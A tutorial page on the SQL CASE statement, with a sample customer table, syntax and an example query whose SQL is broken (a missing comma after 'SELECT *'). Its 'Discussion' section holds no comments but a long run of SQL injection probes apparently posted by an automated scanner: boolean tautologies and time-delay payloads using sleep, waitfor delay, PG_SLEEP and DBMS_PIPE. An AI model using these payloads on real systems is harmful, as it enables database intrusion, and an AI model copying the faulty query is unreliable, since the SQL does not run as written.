SQL CASE Statement
The SQL CASE statement is similar to the IF-THEN-ELSE statement, where the CASE statement goes through different conditions and returns a value when the first condition is met. So when the condition returns true, it will stop execution and return the result. If all conditions are false, it will execute the ELSE clause and return the value. If there is no ELSE clause then it will return NULL.
CASE statement Syntax :
The syntax of the CASE statement is −
CASE
WHEN condition1 THEN result1
WHEN condition2 THEN result2
WHEN conditionN THEN resultN
ELSE result
END;
CASE statement Example :
Consider the Customer table with the following records -
CustomerID |
CustomerName |
Age |
Address |
CustomerSalary |
Gender |
1 |
Aarav |
28 |
Udaipur |
28000 |
M |
2 |
Aarushi |
25 |
Mumbai |
30000 |
F |
3 |
Reyansh |
28 |
Chennai |
35000 |
M |
4 |
Aditi |
24 |
Udaipur |
50000 |
F |
5 |
Sai |
30 |
Mumbai |
27000 |
M |
TEST CASE 1 :- The following code is an example, which would fetch the all records from Customer table and change the Gender :-
where M change to Male
and F change to Female
SELECT *
CASE Gender
WHEN'M' THEN 'Male'
WHEN'F' THEN 'Female'
END
FROM Customer
The result for the respective sql query is as follows −
CustomerID |
CustomerName |
Age |
Address |
CustomerSalary |
Gender |
1 |
Aarav |
28 |
Udaipur |
28000 |
Male |
2 |
Aarushi |
25 |
Mumbai |
30000 |
Female |
3 |
Reyansh |
28 |
Chennai |
35000 |
Male |
4 |
Aditi |
24 |
Udaipur |
50000 |
Female |
5 |
Sai |
30 |
Mumbai |
27000 |
Male |
Visit :
Discussion
pHqghUme
-1 OR 2+576-576-1=0+0+0+1 --
pHqghUme
-1 OR 3+576-576-1=0+0+0+1 --
pHqghUme
-1 OR 3*2<(0+5+576-576) --
pHqghUme
-1 OR 3*2>(0+5+576-576) --
pHqghUme
-1 OR 2+133-133-1=0+0+0+1
pHqghUme
-1 OR 3+133-133-1=0+0+0+1
pHqghUme
-1 OR 3*2<(0+5+133-133)
pHqghUme
-1 OR 3*2>(0+5+133-133)
pHqghUme
-1' OR 2+708-708-1=0+0+0+1 --
pHqghUme
-1' OR 3+708-708-1=0+0+0+1 --
pHqghUme
-1' OR 3*2<(0+5+708-708) --
pHqghUme
-1' OR 3*2>(0+5+708-708) --
pHqghUme
-1' OR 2+532-532-1=0+0+0+1 or 'KccI9WQo'='
pHqghUme
-1' OR 3+532-532-1=0+0+0+1 or 'KccI9WQo'='
pHqghUme
-1' OR 3*2<(0+5+532-532) or 'KccI9WQo'='
pHqghUme
-1' OR 3*2>(0+5+532-532) or 'KccI9WQo'='
pHqghUme
-1" OR 2+404-404-1=0+0+0+1 --
pHqghUme
-1" OR 3+404-404-1=0+0+0+1 --
pHqghUme
-1" OR 3*2<(0+5+404-404) --
pHqghUme
-1" OR 3*2>(0+5+404-404) --
pHqghUme
if(now()=sysdate(),sleep(15),0)
pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme
-1; waitfor delay '0:0:15' --
pHqghUme
-1); waitfor delay '0:0:15' --
pHqghUme
1 waitfor delay '0:0:15' --
pHqghUme
ycHk0Z2Q'; waitfor delay '0:0:15' --
pHqghUme
-5 OR 542=(SELECT 542 FROM PG_SLEEP(15))--
pHqghUme
-5) OR 456=(SELECT 456 FROM PG_SLEEP(15))--
pHqghUme
-1)) OR 922=(SELECT 922 FROM PG_SLEEP(15))--
pHqghUme
N8pYJtT8' OR 487=(SELECT 487 FROM PG_SLEEP(15))--
pHqghUme
bRisJoV2') OR 511=(SELECT 511 FROM PG_SLEEP(15))--
pHqghUme
hOkLS7rp')) OR 907=(SELECT 907 FROM PG_SLEEP(15))--
pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'